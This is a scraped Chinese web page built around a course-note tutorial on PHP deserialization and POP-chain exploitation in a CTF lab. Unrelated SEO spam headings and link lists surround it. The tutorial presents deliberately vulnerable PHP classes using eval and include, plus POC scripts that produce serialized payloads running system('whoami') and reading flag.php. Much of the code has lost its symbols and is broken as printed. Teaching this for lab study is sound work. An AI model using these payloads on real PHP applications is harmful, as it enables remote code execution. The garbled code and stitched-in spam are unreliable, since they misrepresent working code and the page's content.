当前位置: 首页 > news >正文

邢台做网站推广报价江苏建设教育协会网站

邢台做网站推广报价,江苏建设教育协会网站,硬件开发工具有哪些,社交电商十大平台有哪些Web渗透—反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场 课程地址#xff1a;PHP反序列化漏洞学习_哔哩哔_…Web渗透—反序列化        课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场 课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 十、pop链前置知识-成员属性赋值对象 1.反序列化例题 ?php class index {private $test;public function __construct(){$this-test  new normal();}public function __destruct(){ //反序列化unserialize()触发魔术方法destruct()$this-test-action(); //destruct()从$test调用action()} } class normal {public function action(){echo please attack me;} } class evil {var $test2;public function action(){ //eval()调用$test2eval($this-test2); //可利用漏洞点在函数eval()(可执行漏洞)} } unserialize($_GET[test]); ? 关联点如何让$test调用evil里面的成员方法action() 解决思路给$test赋值为对象test new evil() 2.解题代码 ?php class index {private $test;public function __construct(){$this-test  new evil(); //关联步骤给$test赋值实例化对象test new evil()} } class evil { //序列化只能序列化成员属性不能序列化成员方法var $test2 system(whoami);; //构造命令语句 } $a new index(); //实例化对象index()自动调用__construct() echo urlencode(serialize($a)); ? 输出结果 O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D 解题方法 此时$a为实例化对象index()其中成员属性$testnew evil()$test为实例化对象evil()成员属性$test”system(‘whoami’);”; 回显结果 十一、pop链前置知识-魔术方法触发规则 魔术方法触发的前提魔术方法所在类或对象被调用 1.例题代码 目标显示”toString is here!!” ?php class fast {public $source;public function __wakeup(){echo wakeup is here!!;echo  $this-source; //3.在echo中的source包含实例化sec()的对象} } class sec {var $benben;public function __tostring(){ //2.把sec()实例化成对象后当成字符串输出echo tostring is here!!; //1.需要触发__toString()} } $b  $_GET[benben]; unserialize($b); ? 2.解题代码 ?php class fast {public $source; } class sec {var $benben; } $a new fast(); $b new sec(); $a - source $b; //将$b当成字符串赋值给source echo serialize($a); //在触发wakeup后执行echo从而触发sec里的__toString ? 在对象$a里让source赋值对象$b,再触发wakeup后执行echo从而触发sec里的toString 输出结果 O:4:fast:1:{s:6:source;O:3:sec:1:{s:6:benben;N;}} 回显结果 十二、pop链构造和poc编写 1.POP链 在反序列化中我们能控制的数据就是对象中的属性值(成员变量)所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”即POPProperty Oriented Programming。 POP链就是利用魔法方法在里面进行多次跳转然后获得敏感数据的一种payload。 2.POC编写 POC全称Proof of concept中文译做概念验证。在安全界可以理解成漏洞验证程序POC是一段不完整的程序仅仅是为了证明提出者的观点的一段代码。 编写一段不完整的程序获取所需要的的序列化字符串。 3.例题代码 ?php //flag is in flag.php class Modifier {private $var;public function append($value){include($value);echo $flag; //1.目标触发echo输出$flag}public function __invoke(){ //2.触发invoke调用append并使$varflag.php$this-append($this-var); //3.invoke触发条件把对象当成函数} } class Show{public $source;public $str;public function __toString(){ //7.触发toString触发条件把对象当做字符串return $this-str-source;//6.给$str赋值为对象Test,而Test中不存在成员属性source则可触发Test里的成员方法}public function __wakeup(){echo $this-source; //8.给$source赋值为对象Show当成字符串被echo调用触发toString} } class Test{public $p;public function __construct(){$this-p  array();}public function __get($key){ //5.触发get触发条件调用不存在的成员属性$function  $this-p; //4.给$p赋值为对象即function成为对象Modifier却被当成函数调用触发Modifier中的invoke}return $function(); } if(isset($_GET[pop])){unserialize($_GET[pop]); } ? 解题思路 第一步触发invoke,使$varflag.php; 第二步触发get给$p赋值为对象Modifier 第三步触发toString给$str赋值为对象Test 第四步触发wakeup给$source赋值为对象Show 4.解题代码 ?php class Modifier {private $varflag.php; //根据提示flag在flag.php将$var赋值为flag.php } class Show{public $source;public $str; } class Test{public $p; } $a new Modifier(); //实例化Modifier为$a $b new Show(); //实例化Show为$b $c new Test(); //实例化Test为$c $c - p $a; $b - str $c; $b - source $b; echo urlencode(serialize($b)); ? 输出结果 O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D  回显结果 获得ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://wiki.neutronadmin.com/news/299517/

相关文章:

  • 星巴克网站建设德州哪个做网站做得好
  • 门户网站的设计有哪些比较好的外贸网站
  • 做类似猪八戒网的网站移动应用开发是学什么的
  • 网站要备案吗wordpress文章大网站
  • 东莞服务公司网站建设看wordpress导出文章
  • seo建站是什么成都微信网站开发
  • 兰州网站设计最佳效果网站不设置关键词描述
  • 门户网站建设的企业长沙专业网站建设公司排名
  • 网站开发什么叫前端后端推广公司哪家好
  • 网盟官方网站新闻头条最新消息摘抄
  • 百度做网站电话多少建设银行官方网站入口
  • 深圳网站建设公司小江WordPress cdn缓存哪些
  • 广东省建设厅官方网站网址中学生在哪里学编程最好
  • 品牌网站设计制作哪家好vultr 搭建wordpress
  • 太原网站制作维护seo网站关键词排名快速
  • 最简单的网站开发软件电子商务网站建设和推广论文
  • 微信生活门户网站源码网页托管网站
  • 珠海教育局系统网站安逸花借款app下载安装
  • 深圳建站网站模板营销网站建设规划
  • 网站服务器和空间的区别全国建筑工程企业资质查询平台
  • 做兼职打字员的网站范县网站建设
  • 廉洁文化网站建设方案手机制作软件下载
  • 杨和网站开发wordpress导航链接地址都是主页
  • 深圳商城网站哪家做的好找人网站 优帮云
  • 做水果网站弄个什么名字温州网站推广优化公司
  • 网站建设与推广论文教你如何在wordpress中设置cookie
  • 手机网站优化别墅装修一般多少钱一套
  • 重庆营销网站建设公司网站建设网络营销平台: 云搜系统
  • 网站前台维护如何做旅游小视频网站
  • 上海建立网站公司云南省建设工程标准定额网站